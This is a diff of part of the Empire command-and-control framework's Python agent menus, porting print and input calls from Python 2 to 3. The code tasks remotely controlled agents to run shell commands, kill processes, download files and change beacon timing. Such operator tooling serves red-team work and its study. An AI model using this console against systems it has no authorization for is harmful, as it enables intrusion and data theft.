13621389 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
13631390 signal = json.dumps({
13651392 'message': message
13661393 })
13671394 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1368
1395
13691396 # update the agent log
13701397 msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
13711398 self.mainMenu.agents.save_agent_log(sessionID, msg)
1372
1399
13731400 else:
1374 print helpers.color("[!] Invalid agent name")
1375
1376
1401 print(helpers.color("[!] Invalid agent name"))
1402
1403
13771404 def do_lostlimit(self, line):
13781405 "Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] '"
1379
1406
13801407 parts = line.strip().split(' ')
1381
1408
13821409 if len(parts) == 1:
1383 print helpers.color("[!] Usage: 'lostlimit [agent/all] [number of missed callbacks]")
1384
1410 print(helpers.color("[!] Usage: 'lostlimit [agent/all] [number of missed callbacks]"))
1411
13851412 elif parts[0].lower() == 'all':
13861413 lostLimit = parts[1]
13871414 allAgents = self.mainMenu.agents.get_agents_db()
1388
1415
13891416 for agent in allAgents:
13901417 sessionID = agent['session_id']
13911418 # update this agent info in the database
13921419 self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
13931420 # task the agent
13941421 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
1395
1422
13961423 # dispatch this event
13971424 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
13981425 signal = json.dumps({
14001427 'message': message
14011428 })
14021429 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1403
1430
14041431 # update the agent log
14051432 msg = "Tasked agent to change lost limit %s" % (lostLimit)
14061433 self.mainMenu.agents.save_agent_log(sessionID, msg)
1407
1434
14081435 else:
14091436 # extract the sessionID and clear the agent tasking
14101437 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
14111438 lostLimit = parts[1]
1412
1439
14131440 if sessionID and len(sessionID) != 0:
14141441 # update this agent's information in the database
14151442 self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID)
1416
1443
14171444 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit))
1418
1445
14191446 # dispatch this event
14201447 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
14211448 signal = json.dumps({
14231450 'message': message
14241451 })
14251452 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1426
1453
14271454 # update the agent log
14281455 msg = "Tasked agent to change lost limit %s" % (lostLimit)
14291456 self.mainMenu.agents.save_agent_log(sessionID, msg)
1430
1457
14311458 else:
1432 print helpers.color("[!] Invalid agent name")
1433
1434
1459 print(helpers.color("[!] Invalid agent name"))
1460
1461
14351462 def do_killdate(self, line):
14361463 "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
1437
1464
14381465 parts = line.strip().split(' ')
1439
1466
14401467 if len(parts) == 1:
1441 print helpers.color("[!] Usage: 'killdate [agent/all] [01/01/2016]'")
1442
1468 print(helpers.color("[!] Usage: 'killdate [agent/all] [01/01/2016]'"))
1469
14431470 elif parts[0].lower() == 'all':
14441471 date = parts[1]
1445
1472
14461473 allAgents = self.mainMenu.agents.get_agents_db()
1447
1474
14481475 for agent in allAgents:
14491476 sessionID = agent['session_id']
14501477 # update this agent's field in the database
14511478 self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
14521479 # task the agent
14531480 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
1454
1481
14551482 # dispatch this event
14561483 message = "[*] Tasked agent to set killdate to {}".format(date)
14571484 signal = json.dumps({
14591486 'message': message
14601487 })
14611488 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1462
1489
14631490 # update the agent log
14641491 msg = "Tasked agent to set killdate to " + str(date)
14651492 self.mainMenu.agents.save_agent_log(sessionID, msg)
1466
1493
14671494 else:
14681495 # extract the sessionID and clear the agent tasking
14691496 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
14701497 date = parts[1]
1471
1498
14721499 if sessionID and len(sessionID) != 0:
14731500 # update this agent's field in the database
14741501 self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID)
14751502 # task the agent
14761503 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date))
1477
1504
14781505 # dispatch this event
14791506 message = "[*] Tasked agent to set killdate to {}".format(date)
14801507 signal = json.dumps({
14821509 'message': message
14831510 })
14841511 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1485
1512
14861513 # update the agent log
14871514 msg = "Tasked agent to set killdate to " + str(date)
14881515 self.mainMenu.agents.save_agent_log(sessionID, msg)
1489
1516
14901517 else:
1491 print helpers.color("[!] Invalid agent name")
1492
1493
1518 print(helpers.color("[!] Invalid agent name"))
1519
1520
14941521 def do_workinghours(self, line):
14951522 "Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)."
1496
1523
14971524 parts = line.strip().split(' ')
1498
1525
14991526 if len(parts) == 1:
1500 print helpers.color("[!] Usage: 'workinghours [agent/all] [9:00-17:00]'")
1501
1527 print(helpers.color("[!] Usage: 'workinghours [agent/all] [9:00-17:00]'"))
1528
15021529 elif parts[0].lower() == 'all':
15031530 hours = parts[1]
15041531 hours = hours.replace(',', '-')
1505
1532
15061533 allAgents = self.mainMenu.agents.get_agents_db()
1507
1534
15081535 for agent in allAgents:
15091536 sessionID = agent['session_id']
15101537 # update this agent's field in the database
15111538 self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
15121539 # task the agent
15131540 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
1514
1541
15151542 # dispatch this event
15161543 message = "[*] Tasked agent to set working hours to {}".format(hours)
15171544 signal = json.dumps({
15191546 'message': message
15201547 })
15211548 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1522
1549
15231550 # update the agent log
15241551 msg = "Tasked agent to set working hours to %s" % (hours)
15251552 self.mainMenu.agents.save_agent_log(sessionID, msg)
1526
1553
15271554 else:
15281555 # extract the sessionID and clear the agent tasking
15291556 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
1530
1557
15311558 hours = parts[1]
15321559 hours = hours.replace(",", "-")
1533
1560
15341561 if sessionID and len(sessionID) != 0:
15351562 # update this agent's field in the database
15361563 self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID)
15371564 # task the agent
15381565 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours))
1539
1566
15401567 # dispatch this event
15411568 message = "[*] Tasked agent to set working hours to {}".format(hours)
15421569 signal = json.dumps({
15441571 'message': message
15451572 })
15461573 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1547
1574
15481575 # update the agent log
15491576 msg = "Tasked agent to set working hours to %s" % (hours)
15501577 self.mainMenu.agents.save_agent_log(sessionID, msg)
1551
1578
15521579 else:
1553 print helpers.color("[!] Invalid agent name")
1554
1555
1580 print(helpers.color("[!] Invalid agent name"))
1581
1582
15561583 def do_remove(self, line):
15571584 "Remove one or more agents from the database."
1558
1585
15591586 name = line.strip()
1560
1587
15611588 if name.lower() == 'all':
15621589 try:
1563 choice = raw_input(helpers.color('[>] Remove all agents from the database? [y/N] ', 'red'))
1590 choice = input(helpers.color('[>] Remove all agents from the database? [y/N] ', 'red'))
15641591 if choice.lower() != '' and choice.lower()[0] == 'y':
15651592 self.mainMenu.agents.remove_agent_db('%')
15661593 except KeyboardInterrupt:
1567 print ''
1568
1594 print('')
1595
15691596 elif name.lower() == 'stale':
15701597 # remove 'stale' agents that have missed their checkin intervals
1571
1598
15721599 allAgents = self.mainMenu.agents.get_agents_db()
1573
1600
15741601 for agent in allAgents:
1575
1602
15761603 sessionID = agent['session_id']
1577
1604
15781605 # max check in -> delay + delay*jitter
15791606 intervalMax = (agent['delay'] + agent['delay'] * agent['jitter']) + 30
1580
1607
15811608 # get the agent last check in time
15821609 agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
1583
1610
15841611 if agentTime < time.mktime(time.localtime()) - intervalMax:
15851612 # if the last checkin time exceeds the limit, remove it
15861613 self.mainMenu.agents.remove_agent_db(sessionID)
1587
1588
1614
1615
15891616 elif name.isdigit():
15901617 # if we're removing agents that checked in longer than X minutes ago
15911618 allAgents = self.mainMenu.agents.get_agents_db()
1592
1619
15931620 try:
15941621 minutes = int(line.strip())
1595
1622
15961623 # grab just the agents active within the specified window (in minutes)
15971624 for agent in allAgents:
1598
1625
15991626 sessionID = agent['session_id']
1600
1627
16011628 # get the agent last check in time
16021629 agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
1603
1630
16041631 if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60):
16051632 # if the last checkin time exceeds the limit, remove it
16061633 self.mainMenu.agents.remove_agent_db(sessionID)
1607
1634
16081635 except:
1609 print helpers.color("[!] Please enter the minute window for agent checkin.")
1610
1636 print(helpers.color("[!] Please enter the minute window for agent checkin."))
1637
16111638 else:
16121639 # extract the sessionID and clear the agent tasking
16131640 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1614
1641
16151642 if sessionID and len(sessionID) != 0:
16161643 self.mainMenu.agents.remove_agent_db(sessionID)
16171644 else:
1618 print helpers.color("[!] Invalid agent name")
1619
1620
1645 print(helpers.color("[!] Invalid agent name"))
1646
1647
16211648 def do_usestager(self, line):
16221649 "Use an Empire stager."
1623
1650
16241651 parts = line.split(' ')
1625
1652
16261653 if parts[0] not in self.mainMenu.stagers.stagers:
1627 print helpers.color("[!] Error: invalid stager module")
1628
1654 print(helpers.color("[!] Error: invalid stager module"))
1655
16291656 elif len(parts) == 1:
16301657 stager_menu = StagerMenu(self.mainMenu, parts[0])
16311658 stager_menu.cmdloop()
16321659 elif len(parts) == 2:
16331660 listener = parts[1]
16341661 if not self.mainMenu.listeners.is_listener_valid(listener):
1635 print helpers.color("[!] Please enter a valid listener name or ID")
1662 print(helpers.color("[!] Please enter a valid listener name or ID"))
16361663 else:
16371664 self.mainMenu.stagers.set_stager_option('Listener', listener)
16381665 stager_menu = StagerMenu(self.mainMenu, parts[0])
16391666 stager_menu.cmdloop()
16401667 else:
1641 print helpers.color("[!] Error in AgentsMenu's do_userstager()")
1642
1643
1668 print(helpers.color("[!] Error in AgentsMenu's do_userstager()"))
1669
1670
16441671 def do_usemodule(self, line):
16451672 "Use an Empire PowerShell module."
1646
1673
16471674 # Strip asterisks added by MainMenu.complete_usemodule()
16481675 module = line.strip().rstrip("*")
1649
1676
16501677 if module not in self.mainMenu.modules.modules:
1651 print helpers.color("[!] Error: invalid module")
1678 print(helpers.color("[!] Error: invalid module"))
16521679 else:
16531680 # set agent to "all"
16541681 module_menu = ModuleMenu(self.mainMenu, line, agent="all")
16551682 module_menu.cmdloop()
1656
1657
1683
1684
16581685 def do_searchmodule(self, line):
16591686 "Search Empire module names/descriptions."
1660
1687
16611688 searchTerm = line.strip()
1662
1689
16631690 if searchTerm.strip() == "":
1664 print helpers.color("[!] Please enter a search term.")
1691 print(helpers.color("[!] Please enter a search term."))
16651692 else:
16661693 self.mainMenu.modules.search_modules(searchTerm)
16671694
1695 def do_uselistener(self, line):
1696 "Use an Empire listener module."
16681697
1698 parts = line.split(' ')
1699
1700 if parts[0] not in self.mainMenu.listeners.loadedListeners:
1701 print(helpers.color("[!] Error: invalid listener module"))
1702 else:
1703 listenerMenu = ListenerMenu(self.mainMenu, parts[0])
1704 listenerMenu.cmdloop()
1705
16691706 def complete_interact(self, text, line, begidx, endidx):
16701707 "Tab-complete an interact command"
1671
1708
16721709 names = self.mainMenu.agents.get_agent_names_db()
1673
16741710 mline = line.partition(' ')[2]
16751711 offs = len(mline) - len(text)
1676 return [s[offs:] for s in names if s.startswith(mline)]
16771712
1678
1713 if sys.version[0] != "2":
1714 names_return = b','.join(names).decode("UTF-8").split(',')
1715 else:
1716 names_return = names
1717 return [s[offs:] for s in names_return if s.startswith(mline)]
1718
1719
16791720 def complete_rename(self, text, line, begidx, endidx):
16801721 "Tab-complete a rename command"
1681
1722
16821723 return self.complete_interact(text, line, begidx, endidx)
1683
1684
1724
1725
16851726 def complete_clear(self, text, line, begidx, endidx):
16861727 "Tab-complete a clear command"
1687
1728
16881729 names = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
16891730 mline = line.partition(' ')[2]
16901731 offs = len(mline) - len(text)
16911732 return [s[offs:] for s in names if s.startswith(mline)]
1692
1693
1733
1734
16941735 def complete_remove(self, text, line, begidx, endidx):
16951736 "Tab-complete a remove command"
1696
1737
16971738 names = self.mainMenu.agents.get_agent_names_db() + ["all", "stale"]
16981739 mline = line.partition(' ')[2]
16991740 offs = len(mline) - len(text)
17001741 return [s[offs:] for s in names if s.startswith(mline)]
1701
1742
17021743 def complete_list(self, text, line, begidx, endidx):
17031744 "Tab-complete a list command"
1704
1745
17051746 options = ["stale"]
17061747 mline = line.partition(' ')[2]
17071748 offs = len(mline) - len(text)
17081749 return [s[offs:] for s in options if s.startswith(mline)]
1709
1710
1750
1751
17111752 def complete_kill(self, text, line, begidx, endidx):
17121753 "Tab-complete a kill command"
1713
1754
17141755 return self.complete_clear(text, line, begidx, endidx)
1715
1716
1756
1757
17171758 def complete_sleep(self, text, line, begidx, endidx):
17181759 "Tab-complete a sleep command"
1719
1760
17201761 return self.complete_clear(text, line, begidx, endidx)
1721
1722
1762
1763
17231764 def complete_lostlimit(self, text, line, begidx, endidx):
17241765 "Tab-complete a lostlimit command"
1725
1766
17261767 return self.complete_clear(text, line, begidx, endidx)
1727
1728
1768
1769
17291770 def complete_killdate(self, text, line, begidx, endidx):
17301771 "Tab-complete a killdate command"
1731
1772
17321773 return self.complete_clear(text, line, begidx, endidx)
1733
1734
1774
1775
17351776 def complete_workinghours(self, text, line, begidx, endidx):
17361777 "Tab-complete a workinghours command"
1737
1778
17381779 return self.complete_clear(text, line, begidx, endidx)
1739
1740
1780
1781
17411782 def complete_usemodule(self, text, line, begidx, endidx):
17421783 "Tab-complete an Empire PowerShell module path"
17431784 return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
1744
1745
1785
1786
17461787 def complete_usestager(self, text, line, begidx, endidx):
17471788 "Tab-complete an Empire stager module path."
17481789 return self.mainMenu.complete_usestager(text, line, begidx, endidx)
1749
1750
1790
1791
17511792 def complete_creds(self, text, line, begidx, endidx):
17521793 "Tab-complete 'creds' commands."
17531794 return self.mainMenu.complete_creds(text, line, begidx, endidx)
17591800 to instantiate.
17601801 """
17611802 def __init__(self, mainMenu, sessionID):
1762
1803
17631804 agentLanguage = mainMenu.agents.get_language_db(sessionID)
1764
1765 if agentLanguage.lower() == 'powershell':
1766 agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
1767 agent_menu.cmdloop()
1768 elif agentLanguage.lower() == 'python':
1769 agent_menu = PythonAgentMenu(mainMenu, sessionID)
1770 agent_menu.cmdloop()
1771 else:
1772 print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
1805
1806 if agentLanguage.lower() == 'powershell':
1807 agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
1808 agent_menu.cmdloop()
1809 elif agentLanguage.lower() == 'python':
1810 agent_menu = PythonAgentMenu(mainMenu, sessionID)
1811 agent_menu.cmdloop()
1812 else:
1813 print(helpers.color("[!] Agent language %s not recognized." % (agentLanguage)))
17731814
17741815
17751816 class PowerShellAgentMenu(SubMenu):
17771818 The main class used by Empire to drive an individual 'agent' menu.
17781819 """
17791820 def __init__(self, mainMenu, sessionID):
1780
1821
17811822 SubMenu.__init__(self, mainMenu)
1782
1823
17831824 self.sessionID = sessionID
17841825 self.doc_header = 'Agent Commands'
17851826 dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
1786
1827
17871828 # try to resolve the sessionID to a name
17881829 name = self.mainMenu.agents.get_agent_name_db(sessionID)
1789
1830
17901831 # set the text prompt
17911832 self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
1792
1833
17931834 # agent commands that have opsec-safe alises in the agent code
17941835 self.agentCommands = ['ls', 'dir', 'rm', 'del', 'cp', 'copy', 'pwd', 'cat', 'cd', 'mkdir', 'rmdir', 'mv', 'move', 'ipconfig', 'ifconfig', 'route', 'reboot', 'restart', 'shutdown', 'ps', 'tasklist', 'getpid', 'whoami', 'getuid', 'hostname']
1795
1836
17961837 # display any results from the database that were stored
17971838 # while we weren't interacting with the agent
17981839 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
17991840 if results:
1800 print "\n" + results.rstrip('\r\n')
1801
1841 print("\n" + results.rstrip('\r\n'))
1842
18021843 # def preloop(self):
18031844 # traceback.print_stack()
1804
1845
18051846 def handle_agent_event(self, signal, sender):
18061847 """
18071848 Handle agent event signals
18121853 except ValueError:
18131854 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
18141855 return
1815
1856
18161857 if '{} returned results'.format(self.sessionID) in signal:
18171858 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
18181859 if results:
18191860 print(helpers.color(results))
1820
1821
1861
1862
18221863 def default(self, line):
18231864 "Default handler"
1824
1865
18251866 line = line.strip()
18261867 parts = line.split(' ')
1827
1868
18281869 if len(parts) > 0:
18291870 # check if we got an agent command
18301871 if parts[0] in self.agentCommands:
18311872 shellcmd = ' '.join(parts)
18321873 # task the agent with this shell command
18331874 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
1834
1875
18351876 # dispatch this event
18361877 message = "[*] Tasked agent to run command {}".format(line)
18371878 signal = json.dumps({
18401881 'command': line
18411882 })
18421883 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1843
1884
18441885 # update the agent log
18451886 msg = "Tasked agent to run command " + line
18461887 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
18471888 else:
1848 print helpers.color("[!] Command not recognized.")
1849 print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
1850
1889 print(helpers.color("[!] Command not recognized."))
1890 print(helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands."))
1891
18511892 def do_help(self, *args):
18521893 "Displays the help menu or syntax for particular commands."
1853
1894
18541895 if args[0].lower() == "agentcmds":
1855 print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n")
1856 print " " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10, indent=5) + "\n"
1896 print("\n" + helpers.color("[*] Available opsec-safe agent commands:\n"))
1897 print(" " + messages.wrap_columns(", ".join(self.agentCommands), ' ', width1=50, width2=10, indent=5) + "\n")
18571898 else:
18581899 SubMenu.do_help(self, *args)
1859
1900
18601901 def do_list(self, line):
18611902 "Lists all active agents (or listeners)."
1862
1903
18631904 if line.lower().startswith("listeners"):
18641905 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
18651906 elif line.lower().startswith("agents"):
18661907 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
18671908 else:
1868 print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
1869
1909 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
1910
18701911 def do_rename(self, line):
18711912 "Rename the agent."
1872
1913
18731914 parts = line.strip().split(' ')
18741915 oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
1875
1916
18761917 # name sure we get a new name to rename this agent
18771918 if len(parts) == 1 and parts[0].strip() != '':
18781919 # replace the old name with the new name
18801921 if result:
18811922 self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
18821923 else:
1883 print helpers.color("[!] Please enter a new name for the agent")
1884
1924 print(helpers.color("[!] Please enter a new name for the agent"))
1925
18851926 def do_info(self, line):
18861927 "Display information about this agent"
1887
1928
18881929 # get the agent name, if applicable
18891930 agent = self.mainMenu.agents.get_agent_db(self.sessionID)
18901931 messages.display_agent(agent)
1891
1932
18921933 def do_exit(self, line):
18931934 "Task agent to exit."
1894
1935
18951936 try:
1896 choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
1937 choice = input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
18971938 if choice.lower() == "y":
1898
1939
18991940 self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
1900
1941
19011942 # dispatch this event
19021943 message = "[*] Tasked agent to exit"
19031944 signal = json.dumps({
19051946 'message': message
19061947 })
19071948 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1908
1949
19091950 # update the agent log
19101951 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
19111952 raise NavAgents
1912
1953
19131954 except KeyboardInterrupt:
1914 print ""
1915
1916
1955 print("")
1956
1957
19171958 def do_clear(self, line):
19181959 "Clear out agent tasking."
19191960 self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
1920
1921
1961
1962
19221963 def do_jobs(self, line):
19231964 "Return jobs or kill a running job."
1924
1965
19251966 parts = line.split(' ')
1926
1967
19271968 if len(parts) == 1:
19281969 if parts[0] == '':
19291970 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
1930
1971
19311972 # dispatch this event
19321973 message = "[*] Tasked agent to get running jobs"
19331974 signal = json.dumps({
19351976 'message': message
19361977 })
19371978 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1938
1979
19391980 # update the agent log
19401981 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
19411982 else:
1942 print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
1983 print(helpers.color("[!] Please use form 'jobs kill JOB_ID'"))
19431984 elif len(parts) == 2:
19441985 jobID = parts[1].strip()
19451986 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
1946
1987
19471988 # dispatch this event
19481989 message = "[*] Tasked agent to stop job {}".format(jobID)
19491990 signal = json.dumps({
19511992 'message': message
19521993 })
19531994 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1954
1995
19551996 # update the agent log
19561997 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
1957
1998
19581999 def do_sleep(self, line):
19592000 "Task an agent to 'sleep interval [jitter]'"
1960
2001
19612002 parts = line.strip().split(' ')
1962
2003
19632004 if len(parts) > 0 and parts[0] != "":
19642005 delay = parts[0]
19652006 jitter = 0.0
19662007 if len(parts) == 2:
19672008 jitter = parts[1]
1968
2009
19692010 # update this agent's information in the database
19702011 self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
19712012 self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
1972
2013
19732014 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + ' ' + str(jitter))
1974
2015
19752016 # dispatch this event
19762017 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
19772018 signal = json.dumps({
19792020 'message': message
19802021 })
19812022 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
1982
2023
19832024 # update the agent log
19842025 msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
19852026 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
1986
1987
2027
2028
19882029 def do_lostlimit(self, line):
19892030 "Task an agent to change the limit on lost agent detection"
1990
2031
19912032 parts = line.strip().split(' ')
19922033 if len(parts) > 0 and parts[0] != "":
19932034 lostLimit = parts[0]
1994
2035
19952036 # update this agent's information in the database
19962037 self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
19972038 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
1998
2039
19992040 # dispatch this event
20002041 message = "[*] Tasked agent to change lost limit {}".format(lostLimit)
20012042 signal = json.dumps({
20032044 'message': message
20042045 })
20052046 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2006
2047
20072048 # update the agent log
20082049 msg = "Tasked agent to change lost limit " + str(lostLimit)
20092050 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2010
2011
2051
2052
20122053 def do_kill(self, line):
20132054 "Task an agent to kill a particular process name or ID."
2014
2055
20152056 parts = line.strip().split(' ')
20162057 process = parts[0]
2017
2058
20182059 if process == "":
2019 print helpers.color("[!] Please enter a process name or ID.")
2060 print(helpers.color("[!] Please enter a process name or ID."))
20202061 else:
20212062 # if we were passed a process ID
20222063 if process.isdigit():
20252066 # otherwise assume we were passed a process name
20262067 # so grab all processes by this name and kill them
20272068 command = "Get-Process " + str(process) + " | %{Stop-Process $_.Id -Force}"
2028
2069
20292070 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", command)
2030
2071
20312072 # dispatch this event
20322073 message = "[*] Tasked agent to kill process {}".format(process)
20332074 signal = json.dumps({
20352076 'message': message
20362077 })
20372078 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2038
2079
20392080 msg = "Tasked agent to kill process: " + str(process)
20402081 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2041
2042
2082
2083
20432084 def do_killdate(self, line):
20442085 "Get or set an agent's killdate (01/01/2016)."
2045
2086
20462087 parts = line.strip().split(' ')
20472088 date = parts[0]
2048
2089
20492090 if date == "":
20502091 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-KillDate")
2051
2092
20522093 # dispatch this event
20532094 message = "[*] Tasked agent to get KillDate"
20542095 signal = json.dumps({
20562097 'message': message
20572098 })
20582099 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2059
2100
20602101 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get KillDate")
2061
2102
20622103 else:
20632104 # update this agent's information in the database
20642105 self.mainMenu.agents.set_agent_field_db("kill_date", date, self.sessionID)
2065
2106
20662107 # task the agent
20672108 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-KillDate " + str(date))
2068
2109
20692110 # dispatch this event
20702111 message = "[*] Tasked agent to set KillDate to {}".format(date)
20712112 signal = json.dumps({
20732114 'message': message
20742115 })
20752116 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2076
2117
20772118 # update the agent log
20782119 msg = "Tasked agent to set killdate to " + str(date)
20792120 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2080
2081
2121
2122
20822123 def do_workinghours(self, line):
20832124 "Get or set an agent's working hours (9:00-17:00)."
2084
2125
20852126 parts = line.strip().split(' ')
20862127 hours = parts[0]
2087
2128
20882129 if hours == "":
20892130 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-WorkingHours")
2090
2131
20912132 # dispatch this event
20922133 message = "[*] Tasked agent to get working hours"
20932134 signal = json.dumps({
20952136 'message': message
20962137 })
20972138 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2098
2139
20992140 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
2100
2141
21012142 else:
21022143 hours = hours.replace(",", "-")
21032144 # update this agent's information in the database
21042145 self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
2105
2146
21062147 # task the agent
21072148 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))
2108
2149
21092150 # dispatch this event
21102151 message = "[*] Tasked agent to set working hours to {}".format(hours)
21112152 signal = json.dumps({
21132154 'message': message
21142155 })
21152156 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2116
2157
21172158 # update the agent log
21182159 msg = "Tasked agent to set working hours to " + str(hours)
21192160 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2120
2121
2161
2162
21222163 def do_shell(self, line):
21232164 "Task an agent to use a shell command."
2124
2165
21252166 line = line.strip()
2126
2167
21272168 if line != "":
21282169 # task the agent with this shell command
21292170 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "shell " + str(line))
2130
2171
21312172 # dispatch this event
21322173 message = "[*] Tasked agent to run shell command {}".format(line)
21332174 signal = json.dumps({
21352176 'message': message
21362177 })
21372178 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2138
2179
21392180 # update the agent log
21402181 msg = "Tasked agent to run shell command " + line
21412182 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2142
2143
2183
2184
21442185 def do_sysinfo(self, line):
21452186 "Task an agent to get system information."
2146
2187
21472188 # task the agent with this shell command
21482189 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
2149
2190
21502191 # dispatch this event
21512192 message = "[*] Tasked agent to get system information"
21522193 signal = json.dumps({
21542195 'message': message
21552196 })
21562197 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2157
2198
21582199 # update the agent log
21592200 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
2160
2161
2201
2202
21622203 def do_download(self, line):
21632204 "Task an agent to download a file."
2164
2205
21652206 line = line.strip()
2166
2207
21672208 if line != "":
21682209 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
2169
2210
21702211 # dispatch this event
21712212 message = "[*] Tasked agent to get system information"
21722213 signal = json.dumps({
21742215 'message': message
21752216 })
21762217 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2177
2218
21782219 # update the agent log
21792220 msg = "Tasked agent to download " + line
21802221 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2181
2182
2222
2223
21832224 def do_upload(self, line):
21842225 "Task an agent to upload a file."
2185
2226
21862227 # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
